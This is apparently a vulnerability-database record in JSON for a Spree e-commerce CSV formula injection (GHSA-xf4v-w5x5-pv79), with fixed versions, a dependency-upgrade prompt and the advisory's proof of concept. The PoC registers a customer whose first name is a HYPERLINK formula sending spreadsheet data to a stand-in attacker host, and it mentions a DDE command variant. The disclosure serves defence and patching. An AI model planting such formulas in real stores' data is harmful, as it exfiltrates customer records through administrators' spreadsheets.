{"answers":{"affected":"6 open source packages ship an affected version, including spree.","exploited":"There is no known exploitation of GHSA-xf4v-w5x5-pv79 in the wild and no public exploit code.","fix":"Upgrade spree to a fixed version for your release line: 5.2.8, 5.3.6 or 5.4.3.","what":"GHSA-xf4v-w5x5-pv79 is a code injection vulnerability in spree, published on 4 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for GHSA-xf4v-w5x5-pv79 and fix it if it is affected.\n\nWhat it is: GHSA-xf4v-w5x5-pv79 is a code injection vulnerability in spree, published on 4 Jun 2026. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.\nExploitation: There is no known exploitation of GHSA-xf4v-w5x5-pv79 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- spree (RubyGems): affected from 5.2.0; fixed in 5.2.8\n- spree (RubyGems): affected from 5.2.0; fixed in 5.2.8\n- spree (RubyGems): affected from 5.3.0; fixed in 5.3.6\n- spree (RubyGems): affected from 5.3.0; fixed in 5.3.6\n- spree (RubyGems): affected from 5.4.0; fixed in 5.4.3\n- spree (RubyGems): affected from 5.4.0; fixed in 5.4.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/ (Markdown: https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/index.md)","id":"GHSA-xf4v-w5x5-pv79","markdown":"https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/index.md","name":"GHSA-xf4v-w5x5-pv79","record":{"aliases":[],"analysis":{"component_type":"web_application","fix_type":"patch","impacts":["code_execution","data_read"],"network_reachable":"yes","non_default_config":false,"product_category":"Spree e-commerce platform","requires_auth":"none","summary":"Attackers can inject malicious formulas into customer data, leading to code execution or data exfiltration when administrators export and open the CSV file.","user_interaction":"required","vuln_class":"code_injection"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nCSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted\nExport in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the\ncontext of the administrator's desktop, potentially exfiltrating data or executing OS commands\nvia DDE (Dynamic Data Exchange).\n\n---\n\n### Details\n\n#### Affected presenters and fields\n\n| Presenter | Path | User-controlled fields |\n|---|---|---|\n| `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |\n\n#### Vulnerable code — `customer_presenter.rb` (representative example)\n\n```ruby\n# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53\ndef call\n  csv = [\n    customer.first_name,          # ← written verbatim; may contain =HYPERLINK(...)\n    customer.last_name,           # ← user-controlled\n    customer.email,              \n    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),\n    customer.address\u0026.company,    # ← user-controlled\n    customer.address\u0026.address1,   # ← user-controlled\n    customer.address\u0026.address2,   # ← user-controlled\n    customer.address\u0026.city,       # ← user-controlled\n    customer.address\u0026.state_text,\n    customer.address\u0026.state_abbr,\n    customer.address\u0026.country\u0026.name,\n    customer.address\u0026.country\u0026.iso,\n    customer.address\u0026.zipcode,\n    customer.phone,               # ← user-controlled\n    customer.amount_spent_in(Spree::Store.current.default_currency),\n    customer.completed_orders.count,\n  ]\n  csv += metafields_for_csv(customer)\n  csv\nend\n```\n\n---\n\n### PoC\n\n**Precondition**: A Spree store with public customer registration enabled (default\nconfiguration). No special permissions required for the attacker.\n\n#### Step 1 — Register as a customer with an injected first name\n\n```bash\ncurl -X POST https://store.example.com/api/v3/store/customers \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Spree-Api-Key: pk_\u003cpublishable_api_key\u003e\" \\\n  -d '{\n    \"email\": \"attacker@evil.com\",\n    \"password\": \"password123\",\n    \"password_confirmation\": \"password123\",\n    \"first_name\": \"=HYPERLINK(\\\"http://attacker.example.com/exfil?d=\\\"\u0026B1,\\\"Click\\\")\",\n    \"last_name\": \"Smith\"\n  }'\n```\n\n#### Step 2 — Admin triggers a customer export\n\n```bash\ncurl -X POST https://store.example.com/api/v3/admin/exports \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"type\": \"Spree::Exports::Customers\", \"record_selection\": \"all\"}'\n```\n\n#### Step 3 — Admin polls until ready, then downloads\n\n```bash\n# Poll for completion\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n\n# Download\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e/download \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -o customers.csv\n```\n\n#### Step 4 — Verify injection in the raw CSV (without opening in Excel)\n\nOpen `customers.csv` in a text editor. The first data row will contain:\n\n```\n\"=HYPERLINK(\"\"http://attacker.example.com/exfil?d=\"\"\u0026B1,\"\"Click\"\")\",\"Smith\",\"attacker@evil.com\",...\n```\n\n#### Step 5 — Admin opens `customers.csv` in Microsoft Excel (Windows)\n\n- Excel warns about external data connections; if the administrator clicks **Enable**, the\n  `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=\u003cB1_value\u003e`.\n- Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain\n  email, address, and order total data for all exported customers.\n- With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess\n  is launched on the administrator's machine.\n\n---\n\n### Impact\n\n**Vulnerability class**: CSV / Formula Injection (CWE-1236)\n\n#### Who is impacted\n\n- **Administrators** who download and open export files in spreadsheet software are the\n  direct victims. Administrative accounts have access to all store data, payment method\n  configurations, customer PII, and full order history.\n\n#### Realistic attack chain\n\n| Step | Actor | Action | Privilege required |\n|---|---|---|---|\n| 1 | Attacker | Registers as customer | Public registration |\n| 2 | Attacker | Sets `first_name` to formula payload | None beyond registration |\n| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |\n| 4 | Admin | Opens CSV in Excel | None |\n| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |\n\n#### Data at risk\n\nAll data visible to the administrator in the spreadsheet at the time of opening, including:\n\n- All exported customer emails, names, addresses, phone numbers\n- Order totals and purchase history\n- Any other columns in the same export file","ecosystems":["RubyGems"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Spree: CSV Formula Injection in Customer Export","id":"GHSA-xf4v-w5x5-pv79","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"RubyGems","product":null,"products":[],"type":"code_injection","year":"2026"},"n_packages":6,"n_references":null,"packages":[{"ecosystem":"RubyGems","fixed":["5.2.8"],"introduced":["5.2.0"],"last_affected":[],"package":"spree","purl":null,"source":"GHSA-xf4v-w5x5-pv79"},{"ecosystem":"RubyGems","fixed":["5.2.8"],"introduced":["5.2.0"],"last_affected":[],"package":"spree","purl":"pkg:gem/spree","source":"GHSA-xf4v-w5x5-pv79"},{"ecosystem":"RubyGems","fixed":["5.3.6"],"introduced":["5.3.0"],"last_affected":[],"package":"spree","purl":null,"source":"GHSA-xf4v-w5x5-pv79"},{"ecosystem":"RubyGems","fixed":["5.3.6"],"introduced":["5.3.0"],"last_affected":[],"package":"spree","purl":"pkg:gem/spree","source":"GHSA-xf4v-w5x5-pv79"},{"ecosystem":"RubyGems","fixed":["5.4.3"],"introduced":["5.4.0"],"last_affected":[],"package":"spree","purl":null,"source":"GHSA-xf4v-w5x5-pv79"},{"ecosystem":"RubyGems","fixed":["5.4.3"],"introduced":["5.4.0"],"last_affected":[],"package":"spree","purl":"pkg:gem/spree","source":"GHSA-xf4v-w5x5-pv79"}],"products":null,"published":"2026-06-04","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers can inject malicious formulas into customer data, leading to code execution or data exfiltration when administrators export and open the CSV file.","url":"https://insights.sbomify.com/GHSA-xf4v-w5x5-pv79/"}